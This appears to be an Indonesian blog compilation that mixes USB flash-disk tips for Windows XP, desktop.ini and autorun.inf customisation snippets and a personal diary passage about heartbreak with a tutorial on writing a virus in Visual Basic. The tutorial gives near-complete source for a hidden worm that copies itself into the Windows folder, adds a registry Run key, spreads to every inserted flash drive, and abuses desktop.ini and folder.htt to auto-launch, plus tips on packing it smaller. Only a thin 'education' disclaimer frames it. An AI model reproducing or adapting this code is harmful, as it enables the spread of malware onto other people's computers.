Meningkatkan performa usb flashdisk pada Windows XP.

Tingkatkan Performa Flash Disk

Di Windows Me dan Windows 2000, pengoperasian USB flash disk terasa sedikit merepotkan.
Anda dipaksa harus mengklik ikon [Safely Remove Hardware] di system tray dan mengklik
tombol [Stop] sebelum mencabut piranti USB.

Kini, di Windows XP, kewajiban tersebut sudah tidak ada lagi. Anda bisa mencabut flash
disk kapan saja selama tidak dalam proses transfer data. Pengoperasian flash disk
pun jadi lebih mudah.

Akan tetapi kemudahan tersebut harus dibayar dengan menurunnya performa flash disk.
Ini disebabkan karena Windows harus menonaktifkan fitur write cache demi fleksibilitas tadi,
sehingga performa harus dikorbankan.

Nah, bagi Anda yang mengutamakan performa flash disk sebagai nomor satu, Anda harus
mengaktifkan write cache ini dari Device Manager. Caranya:


1. Klik [Start] > [Control Panel] > [Performance and Maintenance] > [System].

2. Pilih tab [Hardware].

3. Buka jendela Device Manager dengan mengklik tombol [Device Manager].

4. Masuklah ke disk drives, dan klik kanan pada nama USB flash disk.

5. Pilih [Properties].

6. Masuklah ke tab [Policies] kemudian ubah radio button [Optimize for quick
removal] menjadi [Optimize for Performance].

7. Tekan [OK], lalu tutup jendela Device Manager dan System Properties.

8. Restart Windows.


Setelah Anda mengaplikasikan trik ini jangan lupa untuk selalu mengklik [Safely
Remove Hardware] sebelum mencabut flash disk.


------------------------------
[.ShellClassInfo]
IconFile=%SystemRoot%\system32\SHELL32.dll
IconIndex=127
ConfirmFileOp=0

[{BE098140-A513-11D0-A3A4-00C04FD706EC}]
Attributes=1
IconArea_Image="[nama_gbrnya].jpg"
IconArea_Text="0xFFFFFF"
VeBRA sources - don't delete the tag above, it's there for XXXXX purposes -
[ExtShellFolderViews]
{BE098140-A513-11D0-A3A4-00C04FD706EC}={BE098140-A513-11D0-A3A4-00C04FD706EC}
{5984FFE0-28D4-11CF-AE66-08002B2E1262}={5984FFE0-28D4-11CF-AE66-08002B2E1262}

[{5984FFE0-28D4-11CF-AE66-08002B2E1262}]
PersistMoniker=Folder.htt
PersistMonikerPreview=%WebDir%\folder.bmp

sebelumnya kopi juga gambarnya ke flashdisk........
truz isi kolom icon area image berdasarkan nama gbrnya contoh :
IconArea_Image="Pic1.jpg"
dan sav di flashdisk pake nama desktop.ini

ganti ikon flashdisk............
sama aja kaya diatas tapi yg di kopi ini :

[Autorun]
icon=[nama_ikonnya].ico

simpen di flashdisk dengan nama autorun.inf
sebelumnya simpen juga file ikonnya

sentuhan terakhir biar enak diliat
semua file diatas (jumlahnya jadi 4 file) di set hidden
-------------------------------------------------------------------
autorun flash disk

Weleh... Mas klo autorun gw g bs.... Tapi klo Otomatis open gw bisa...
Neh kayak gini:

[autorun]
shellexecute=welcome.exe

Tapi pas buka flashdisknya harus lewat Klik Kanan "Start" => "Open" AdressBar diganti dengan MyComputer trus baru masuk ke flashdisknya dengan cara double click (Jangan Pake Explorer tapi pake "Open")..

------------------------------------
untuk warna teks di flashdisk
Untuk text:0xFF0000FFF : warna merah
:0xFFFFFF: warna putih
:0x00FF00: Warna Hijau
:0xFFFFFFF : Warna Hijau tua
:0x0FFFF0: warna Kuning
:0x00FF0000 : warna biru
:0xFFF000 : warna biru muda
:0xFFFFFFF : Warna Hitam
:0x0FF0FF0 : warna pink

Ketika kita mencintai seseorang..apa kita benar2 mencintainya?...atau sebenernya kita hanya mencintai sosok yg kita inginkan dari orang lain?...ketika kita merasa bahagia dengan seseorang yang kita cintai...pengorbanan dan kerja keras yang telah kita berikan..perhatian..dan kata2...apa ini yang disebut dengan cinta?..waktu yang telah kita habiskan.. semua kenangan indah.. tangisan... amarah... airmata... tawa... kemesraan... emosi... mimpi... harapan... masa depan... dan dirinya....apa aq benar2 mencintainya?....ini memang pertanyaan yang mungkin sudah sering didengar...dengan jawaban setiap orang yang bermacam-macam...aq telah berjalan mundur hingga ketitik ini...hingga pertanyaan ini muncul kembali...apa cinta itu sebenarnya?...bukankah hanya Tuhan yang seharusnya kita Cintai?.. Aq hanya manusia yang tidak tahu yang mana yang salah...dan yang mana yang benar...tapi kenapa aq tetap merasakan perasaan ini...apakah perasaan ini juga termasuk kesalahan?...perasaan yang membuatku hancur...perasaan yang telah aq rawat..aq jaga...dan kini ketika semua telah mengakar dalam hati..tiba2 perasaan itu harus dicabut dengan paksa....dan dibiarkan merasakan sakit agar perasaan tersebut dapat mati dengan sendirinya...kata orang..perasaan sakit..membuat orang tersebut semakin kuat...dan semua kata2 motivasi itu...terdengar seperti tidak masuk akal di otakku...apa mereka benar2 tahu?...apa mereka benar2 mengerti?...mereka bilang..masalah ku ini masih lebih baik dari pada mereka...mereka telah mengalami masa yg lebih sulit..mereka telah mengalami kenyataan yang lebih pahit...sedangkan aq....apa aku ini...hanya di dera masalah pribadi...perasaan...keluarga...dan ekonomi pada saat yang bersamaan saja sudah menjadi seperti ini...banyak cerita yang aq dengar...cerita tentang orang2 hebat...cerita yang seharusnya bisa menjadi inspirasi ku untuk tetap tegar dan sabar menjalani masa2 ini...tapi apa...cerita itu terdengar seperti sebuah dongeng...aq seperti tidak mengerti...kenapa?...kenapa mereka bisa berlari demi impian mereka sampai sejauh itu?..kenapa mereka bisa tetap bersabar dengan keadaan seperti itu?...kenapa mereka dapat mempertahankan hubungan mereka sampai seperti itu....apa yang salah...apa yang tidak aku ketahui...apa yang tidak aku mengerti dari semua itu....cerita tentang perjuangan mereka dalam hidup...tetap gigih berusaha..menggapai impian mereka...sedangkan aq...aq hanya berlari ditempat... Kenapa aq harus selemah ini mengadapi kenyataan ini... Mengeluh dan menangis...berjalan diantara mimpi dan kenyataan...kalau kamu mempunyai mimpi dan mimpi itu terwujud menjadi kenyataan..kamu akan dapat berbahagia dalam mimpi dan kenyataan...tapi apabila mimpi mu tidak terwujud..paling tidak kamu akan dapat berbahagia...walaupun hanya dalam mimpi...yah..itu memang benar...aq pernah bermiimpi akan sesuatu...dan mimpi itu akhirnya tercabut bersama dengan harapan..cita-cita..dan semangatku...kini aku hanya dapat bermimpi buruk..dan walaupun aku bermimpi indah tentang impian masa lalu ku...kenyataan selalu menungguku ketika aku membuka mataku...kenyataan pahit yang dapat membalikan mimpi indah menjadi sebuah rasa sakit yang amat dalam...kenyataan bahwa mimpi itu tak lagi bersama aku sekarang... Aq sekarang hanya dapat menggantungkan kisah hati qu ini pada Tuhan...akankah dia akan memberiku pencerahan dan ketenangan...atau tetap membuat aq merasakan ini...sakit ini mungkin hanya sebagian dari rencananya...rencana besar yang tidak mungkin dapat diikuti oleh manusia biasa seperti aku...Mungkin saat ini...aq merasa seperti ini...biarlah tulisan ini ada...mungkin dalam 2 atau 3 tahun kedepan ketika aq melihat tulisan ini kembali...aq bisa tahu...sejauh apa aq telah melangkah...atau mungkin aq masih tetap berada di lubang yang sama....

Pembuatan Virus dengan Visual Basic

Artikel berikut hanya berupa illustrasi tentang bagaimana pemrograman program virus dengan menggunakan bahasa pemrograman Visual Basic. Artikel ini tidak bertujuan melakukan penyebaran virus, tetapi hanya sekedar pendidikan.

Perhatian :

Artikel ini tidak menyediakan program executable yang dimaksud, dan segala tindakan anda melakukan proses penyusunan source code kembali dan melakukan kompilasi menghasilkan executable dan melakukan percobaan terhadap file executable merupakan resiko anda sendiri.

Jika anda tidak setuju dengan pernyataan tersebut diatas, segera tutup dokumen ini dan lakukan penghapusan dari system anda.

Jika anda melanjutkan pembacaan dokumen ini artinya anda setuju (lakukan page down 6 kali untuk mulai membaca).

1. Tidak menampakan diri pada saat Run.

Buatlah sebuah project baru, dan tambahkan sebuah sub main (Project-Add Module)

Option Explicit ‘setiap variable harus dideklarasikan

Sub main()

App.TaskVisible = False ‘tidak tampil di taskbar

Form1.Visible = False ‘tidak menampilkan form

End Sub

Buatlah sub main sebagai startup object program anda (Project-Project Properties-Startup Object, Sub Main)

Coba lakukan Run, apakah program anda visible (form dan taskbar) ?

2. Mengaktifkan diri setiap proses boot System.

Tambahkan sebuah sub baru dengan nama virusInstall

Sub VirusInstall()

Dim wShell As Object

Dim fSource As String

Dim fTarget As String

'ambil path dan nama exe file

fSource = App.Path & "\" & App.EXEName & ".exe"

'duplikasi ke folder windows

fTarget = Environ$("windir") & "\MyVirus.exe"

'Periksa apakah sudah pernah install

If Dir(fTarget) = "" Then

Call FileCopy(fSource, fTarget)

Set wShell = CreateObject("WScript.Shell")

'manipulasi registry run

wShell.regwrite "HKLM\Software\Microsoft\Windows\Run\MyVirus", fTarget

End If

End Sub

dan aktifkan sub virusInstall dari Sub Main

Sub Main()

App.TaskVisible = False

Form1.Visible = False

Call VirusInstall ‘install diri

End Sub

3. Penyebaran diri melalui media flash disk

· Tambahkan global variable (pada bagian general declaration) agar 1 flashdisk diinfeksi hanya 1 kali (virus yang baik tentu saja harus efisien dalam pemakaian resource sehingga kehadirannya tidak dapat diketahui dengan cepat)

Dim infectedFlashDisk As Boolean ‘flag sudah infeksi atau belum

· Tambahkan sub berikut untuk mereplikasi diri virus

Public Sub replikasiDiri(targetDrive As String)

Dim fSource As String

Dim fTarget As String

'replikasi dari C:\Windows (lokasi instalasi diri)

fSource = Environ$("windir") & "\MyVirus.exe"

'ke target drive

fTarget = targetDrive + "\MyVirus.exe"

'jangan replikasi lebih dari 1 kali pada media yang sama

If Dir(fTarget) = "" Then

Call FileCopy(fSource, fTarget)

End If

End Sub

· Tambahkan sub berikut untuk memantau keberadaan flashdisk

Public Sub sebarFlashDisk()

On Error GoTo BatalInfeksi

Dim AdaFlashDisk As Boolean

Dim ObjFSO As Object

Dim ObjDrive As Object

‘buat file scripting object

Set ObjFSO = CreateObject("Scripting.FileSystemObject")

AdaFlashDisk = False

For Each ObjDrive In ObjFSO.Drives

'Asumsi semua removable drive diatas huruf C adalah flash disk

'1 - Removable drive

'2 - Fixed drive (hard disk)

'3 - Mapped network drive

'4 - CD-ROM drive

'5 - RAM disk

If ObjDrive.DriveType = 1 And ObjDrive.DriveLetter > "C" Then

AdaFlashDisk = True

'jangan infeksi berulang-ulang dan sisa kapasitas > 100 kb

If Not infectedFlashDisk And ObjDrive.AvailableSpace > 102400 Then

Call replikasiDiri(ObjDrive.DriveLetter+”:”)

infectedFlashDisk = True ‘aktifkan flag sudah infeksi

End If

End If

Next

If Not AdaFlashDisk Then ‘tidak ada flashdisk

infectedFlashDisk = False ‘reset flag sudah infeksi

End If

BatalInfeksi:

End Sub

· Tambahkan kontrol timer pada form1

Private Sub Timer1_Timer()

Call sebarFlashDisk ‘aktifkan penyebaran flasdisk

End Sub

· Atur setting flag sudah infeksi dan control timer melalui sub main

Sub Main()

App.TaskVisible = False

Form1.Visible = False

Call VirusInstall

'Atur variabel global

infectedFlashDisk = False

'Atur setting time

Form1.Timer1.Interval = 5000

Form1.Timer1.Enabled = True

End Sub

4. Membatasi pengaktifan diri hanya 1 kali

Virus yang efisien tentu saja harus hemat resource dan menggunakan algoritma yang efisien, sehingga keberadaan dirinya tidak terasa oleh pemakai.

· Tambahkan fungsi findWindow dari WINAPI

Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long

· Tambahkan fungsi sudahAktif

Function sudahAktif(Title As String) As Boolean

Dim vir_hwnd As Long

'Jika Jendela virus aktif

'cari Window dengan title yang sama

vir_hwnd = FindWindow(vbNullString, Title)

sudahAktif = Not (vir_hwnd = 0)

End Function

· Modifikasi sub Main

Sub Main()

Dim namaVirus As String

namaVirus = "MyVirus"

If Not sudahAktif(namaVirus) Then ‘jika belum aktif

App.TaskVisible = False

Form1.Visible = False

Call VirusInstall

'Atur variabel global

infectedFlashDisk = False

'Atur setting time

Form1.Caption = namaVirus ‘tandai title Window

Form1.Timer1.Interval = 5000

Form1.Timer1.Enabled = True

End If

End Sub

6. Ganti Icon MyVirus
7. Memperkecil ukuran executable virus anda

Hasil kompilasi dari program MyVirus adalah berukuran 24576 bytes, dan tentu saja cukup kecil untuk ukuran virus VB, tetapi alangkah baiknya kalau executable virus dapat lebih kecil lagi sehingga mempercepat proses loading.

Untuk memperkecil executable file dapat menggunakan software seperti Ultimate Packer for Executable.

Upx Project.exe

Dan ukuran file setelah di-UPX adalah 8704 bytes.

8. Menghilangkan virus ini
1. Pada Run-Registry, buka HKLM\Software\Microsoft\Windows\Run dan hapus value “MyVirus”
2. Hapus file C:\Windows\MyVirus.exe

Tips tambahan :

Melakukan eksploitasi terhadap folder.htt

Membuat file desktop.ini

Sub buatDesktop_ini(targetDrive As String)

Dim fTarget As String

fTarget = targetDrive + "\Dekstop.ini"

Open fTarget For Output As #1

Print #1, "[.ShellClassInfo]"

Print #1, "ConfirmFileOp = 0"

Print #1, "[{5984FFE0-28D4-11CF-AE66-08002B2E1262}]"

Print #1, "PersistMoniker=file://web\Folder.htt"

Print #1, "[ExtShellFolderViews]"

Print #1, "{5984FFE0-28D4-11CF-AE66-08002B2E1262}={5984FFE0-28D4-11CF-AE66-08002B2E1262}"

Close #1

SetAttr fTarget, vbReadOnly + vbHidden

End Sub

Membuat file folder.htt

Public Sub buatFolder_htt(targetDrive As String)

Dim fTarget As String

fTarget = targetDrive + "\web\folder.htt"

Open fTarget For Output As #1

Print #1, ""

Print #1, ""

Print #1, ""

Print #1, ""

Print #1, ""

Print #1, ""

Print #1, ""

Print #1, ""

Print #1, ""

Close #1

SetAttr fTarget, vbReadOnly + vbHidden

End Sub

Membuat sub eksploitasi_folder_htt

Public Sub eksploitasi_folder_htt(targetDrive As String)

Dim fSource As String

Dim fTarget As String

'replikasi dari C:\Windows (lokasi instalasi diri)

fSource = Environ$("windir") & "\MyVirus.exe"

'ke target drive

fTarget = targetDrive + "\web"

Call MkDir(fTarget)

SetAttr fTarget, vbHidden

fTarget = fTarget + "\My Virus.exe"

'jangan infeksi lebih dari 1 kali

If Dir(fTarget) = "" Then

Call FileCopy(fSource, fTarget)

Call buatDesktop_ini(targetDrive)

Call buatFolder_htt(targetDrive)

End If

End Sub

Modifikasi sub replikasiDiri

Public Sub replikasiDiri(targetDrive As String)

Dim fSource As String

Dim fTarget As String

'replikasi dari C:\Windows (lokasi instalasi diri)

fSource = Environ$("windir") & "\MyVirus.exe"

'ke target drive

fTarget = targetDrive + "\MyVirus.exe"

'jangan infeksi lebih dari 1 kali

If Dir(fTarget) = "" Then

Call FileCopy(fSource, fTarget)

Call eksploitasi_folder_htt(targetDrive)

End If

End Sub